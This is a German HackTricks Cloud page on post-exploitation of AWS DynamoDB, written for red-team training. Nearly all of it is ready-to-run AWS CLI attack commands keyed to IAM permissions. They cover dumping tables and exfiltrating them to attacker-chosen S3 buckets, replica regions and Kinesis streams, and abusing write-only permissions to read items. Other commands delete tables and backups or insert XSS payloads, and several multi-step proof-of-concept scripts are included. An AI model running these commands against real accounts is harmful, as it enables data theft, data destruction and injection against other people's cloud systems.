AWS - DynamoDB Post Exploitation
Reading time: 17 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
DynamoDB
Für weitere Informationen siehe:
dynamodb:BatchGetItem
Ein Angreifer mit dieser Berechtigung kann Elemente aus Tabellen anhand des Primärschlüssels abrufen (du kannst nicht einfach alle Daten der Tabelle anfordern). Das bedeutet, dass du die Primärschlüssel kennen musst (du kannst diese erhalten, indem du die Tabellen-Metadaten abrufst (describe-table).
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
Mögliche Auswirkungen: Indirekter privesc durch das Auffinden sensibler Informationen in der Tabelle
dynamodb:GetItem
Ähnlich wie bei den vorherigen Berechtigungen ermöglicht diese, dass ein potenzieller Angreifer Werte aus nur einer Tabelle lesen kann, sofern der Primärschlüssel des abzurufenden Eintrags bekannt ist:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
Mit dieser Berechtigung ist es auch möglich, die Methode transact-get-items wie folgt zu verwenden:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Potentielle Auswirkung: Indirect privesc durch das Auffinden sensibler Informationen in der Tabelle
dynamodb:Query
Ähnlich zu den vorherigen Berechtigungen erlaubt diese einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist. Sie erlaubt die Nutzung eines subset of comparisons, aber der einzige Vergleich, der mit dem Primärschlüssel (der vorhanden sein muss) erlaubt ist, ist "EQ", sodass du nicht per Vergleich die gesamte DB in einer Anfrage abrufen kannst.
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
Potentielle Auswirkung: Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
dynamodb:Scan
Sie können diese Berechtigung verwenden, um die gesamte Tabelle einfach zu dumpen.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Potentielle Auswirkungen: Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
dynamodb:PartiQLSelect
Du kannst diese Berechtigung verwenden, um die gesamte Tabelle einfach zu dumpen.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Diese Berechtigung erlaubt es außerdem, batch-execute-statement auszuführen, z. B.:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
Man muss jedoch den Primärschlüssel mit einem Wert angeben, daher ist es nicht sehr nützlich.
Mögliche Auswirkung: Indirekter privesc durch das Auffinden sensibler Informationen in der Tabelle
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Diese Berechtigung erlaubt einem Angreifer, die gesamte Tabelle in einen von ihm gewählten S3-Bucket zu exportieren:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Beachte, dass dafür point-in-time-recovery auf der Tabelle aktiviert sein muss; du kannst prüfen, ob die Tabelle das hat mit:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
Wenn es nicht aktiviert ist, müssen Sie es aktivieren, und dafür benötigen Sie die Berechtigung dynamodb:ExportTableToPointInTime:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Mögliche Auswirkungen: Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)
Mit diesen Berechtigungen könnte ein Angreifer eine neue Tabelle aus einem Backup erstellen (oder sogar ein Backup erstellen, um es dann in einer anderen Tabelle wiederherzustellen). Dann könnte er mit den notwendigen Berechtigungen Informationen aus den Backups prüfen, die nicht mehr in der Produktions tabelle.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Mögliche Auswirkungen: Indirekter privesc durch Auffinden sensibler Informationen im Tabellen-Backup
dynamodb:PutItem
Diese Berechtigung erlaubt es Benutzern, ein neues Item in die Tabelle hinzuzufügen oder ein bestehendes Item durch ein neues Item zu ersetzen. Wenn ein Item mit demselben Primärschlüssel bereits existiert, wird das gesamte Item durch das neue Item ersetzt. Falls der Primärschlüssel nicht existiert, wird ein neues Item mit dem angegebenen Primärschlüssel erstellt.
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
Potentieller Einfluss: Ausnutzung weiterer Schwachstellen/Bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern
dynamodb:UpdateItem
Diese Berechtigung erlaubt es Benutzern, die vorhandenen Attribute eines Items zu ändern oder einem Item neue Attribute hinzuzufügen. Sie ersetzt nicht das gesamte Item; sie aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel in der Tabelle nicht existiert, erstellt die Operation ein neues Item mit dem angegebenen Primärschlüssel und setzt die im Update-Ausdruck angegebenen Attribute.
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
Potenzielle Auswirkungen: Ausnutzung weiterer Schwachstellen/Bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen oder zu ändern
dynamodb:DeleteTable
Ein Angreifer mit dieser Berechtigung kann eine DynamoDB-Tabelle löschen, was zu Datenverlust führt
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Mögliche Auswirkungen: Datenverlust und Unterbrechung von Diensten, die von der gelöschten Tabelle abhängen.
dynamodb:DeleteBackup
Ein Angreifer mit dieser Berechtigung kann ein DynamoDB-Backup löschen, was im Falle eines Disaster-Recovery-Szenarios potenziell zu Datenverlust führen kann.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Potential impact: Datenverlust und die Unfähigkeit, während eines Disaster-Recovery-Szenarios aus einem Backup wiederherzustellen.
dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords
note
TODO: Testen, ob das tatsächlich funktioniert
Ein Angreifer mit diesen Berechtigungen kann einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, damit Änderungen gestreamt werden, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen. Dadurch kann der Angreifer Änderungen überwachen und exfiltrate data changes, was möglicherweise zu data leakage führt.
- Einen Stream auf einer DynamoDB-Tabelle aktivieren:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Beschreibe den Stream, um die ARN und weitere Details zu erhalten:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Den shard iterator mit der stream ARN abrufen:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Verwende den shard iterator, um auf den stream zuzugreifen und Daten daraus zu exfiltrate:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Mögliche Auswirkungen: Echtzeitüberwachung und data leak von Änderungen an der DynamoDB-Tabelle.
Items lesen über dynamodb:UpdateItem und ReturnValues=ALL_OLD
Ein Angreifer mit lediglich dynamodb:UpdateItem auf einer Tabelle kann Items lesen, ohne eine der üblichen Lese-Berechtigungen (GetItem/Query/Scan), indem er ein harmloses Update durchführt und --return-values ALL_OLD anfordert. DynamoDB gibt das vollständige Pre-Update-Abbild des Items im Attributes-Feld der Antwort zurück (dies verbraucht keine RCUs).
- Minimale Berechtigungen:
dynamodb:UpdateItemauf der Ziel-Tabelle/-Key. - Voraussetzungen: Sie müssen den Primärschlüssel des Items kennen.
Beispiel (fügt ein harmloses Attribut hinzu und exfiltrates das vorherige Item in der Antwort):
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>
Die CLI-Antwort wird einen Attributes-Block enthalten, der das komplette vorherige Item (alle Attribute) enthält und damit effektiv eine Lese-Primitive bei write-only-Zugriff bereitstellt.
Mögliche Auswirkungen: Beliebige Items aus einer Tabelle lesen, obwohl nur Schreibberechtigungen bestehen, wodurch die Exfiltration sensibler Daten möglich wird, wenn die Primärschlüssel bekannt sind.
dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica
Heimliche Exfiltration durch Hinzufügen einer neuen Replica-Region zu einer DynamoDB Global Table (version 2019.11.21). Wenn ein Principal eine regionale Replik hinzufügen kann, wird die gesamte Tabelle in die vom Angreifer gewählte Region repliziert, von der aus der Angreifer alle Items lesen kann.
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>
# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>
Berechtigungen: dynamodb:UpdateTable (mit replica-updates) oder dynamodb:CreateTableReplica auf der Ziel-Tabelle. Wenn in der Replica ein CMK verwendet wird, können KMS-Berechtigungen für diesen Schlüssel erforderlich sein.
Mögliche Auswirkungen: Vollständige Tabellenreplikation in eine vom Angreifer kontrollierte Region, die zu unauffälliger Datenexfiltration führt.
dynamodb:TransactWriteItems (lesen über fehlgeschlagene Bedingung + ReturnValuesOnConditionCheckFailure=ALL_OLD)
Ein Angreifer mit transaktionalen Schreibrechten kann die vollständigen Attribute eines vorhandenen item exfiltrieren, indem er ein Update innerhalb von TransactWriteItems ausführt, das absichtlich eine ConditionExpression fehlschlagen lässt, während ReturnValuesOnConditionCheckFailure=ALL_OLD gesetzt ist. Beim Fehlschlag fügt DynamoDB die vorherigen Attribute in die Gründe für den Abbruch der Transaktion ein und wandelt damit schreibberechtigten Zugriff effektiv in Lesezugriff auf die gezielten Keys um.
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON
# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
Berechtigungen: dynamodb:TransactWriteItems auf der Ziel-Tabelle (und dem zugrundeliegenden Item). Es sind keine Lese-Berechtigungen erforderlich.
Potentielle Auswirkungen: Beliebige Items (per Primärschlüssel) aus einer Tabelle lesen, nur mit Transaktions-Schreibberechtigungen mithilfe der zurückgegebenen cancellation reasons.
dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query auf GSI
Leseeinschränkungen umgehen, indem ein Global Secondary Index (GSI) mit ProjectionType=ALL auf einem Attribut mit geringer Entropie erstellt wird, dieses Attribut über alle Items auf einen konstanten Wert gesetzt wird und dann der Index mit Query abgefragt wird, um komplette Items zu erhalten. Das funktioniert selbst wenn Query/Scan auf der Basistabelle verweigert wird, solange der Index-ARN abgefragt werden kann.
- Minimale Berechtigungen:
dynamodb:UpdateTableauf der Ziel-Tabelle (um den GSI mitProjectionType=ALLzu erstellen).dynamodb:UpdateItemauf den Schlüsseln der Ziel-Tabelle (um das indizierte Attribut in jedem Item zu setzen).dynamodb:Queryauf dem Index-Resource-ARN (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).
Schritte (PoC in us-east-1):
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done
# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done
# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
Potenzielle Auswirkungen: Full table exfiltration durch Abfrage eines neu erstellten GSI, der alle Attribute projiziert, selbst wenn Lese-APIs der Basistabelle verweigert werden.
dynamodb:EnableKinesisStreamingDestination (Kontinuierliche exfiltration via Kinesis Data Streams)
Ausnutzung von DynamoDB Kinesis streaming destinations, um Änderungen aus einer Tabelle kontinuierlich zu exfiltrate in einen vom Angreifer kontrollierten Kinesis Data Stream. Nach Aktivierung wird jedes INSERT/MODIFY/REMOVE-Ereignis nahezu in Echtzeit an den Stream weitergeleitet, ohne dass Leseberechtigungen für die Tabelle erforderlich sind.
Minimale Berechtigungen (Angreifer):
dynamodb:EnableKinesisStreamingDestinationauf der Ziel-Tabelle- Optional
dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable, um den Status zu überwachen - Lese-Berechtigungen für den vom Angreifer kontrollierten Kinesis-Stream, um Records zu konsumieren:
kinesis:*
PoC (us-east-1)
# 1) Prepare: create a table and seed one item
aws dynamodb create-table --table-name HTXKStream \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item1.json --region us-east-1
# /tmp/htx_item1.json
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
# 2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
# 3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
# Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
# 4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item2.json --region us-east-1
# /tmp/htx_item2.json
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream \
--key file:///tmp/htx_key_a1.json \
--update-expression "SET #i = :v" \
--expression-attribute-names {#i:info} \
--expression-attribute-values {:v:{S:updated}} \
--region us-east-1
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
# 5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
--query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
# Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
# 6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
Potential Impact: Kontinuierliche, nahezu in Echtzeit stattfindende Exfiltration von Tabellenänderungen zu einem vom Angreifer kontrollierten Kinesis-Stream ohne direkte Leseoperationen auf der Tabelle.
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud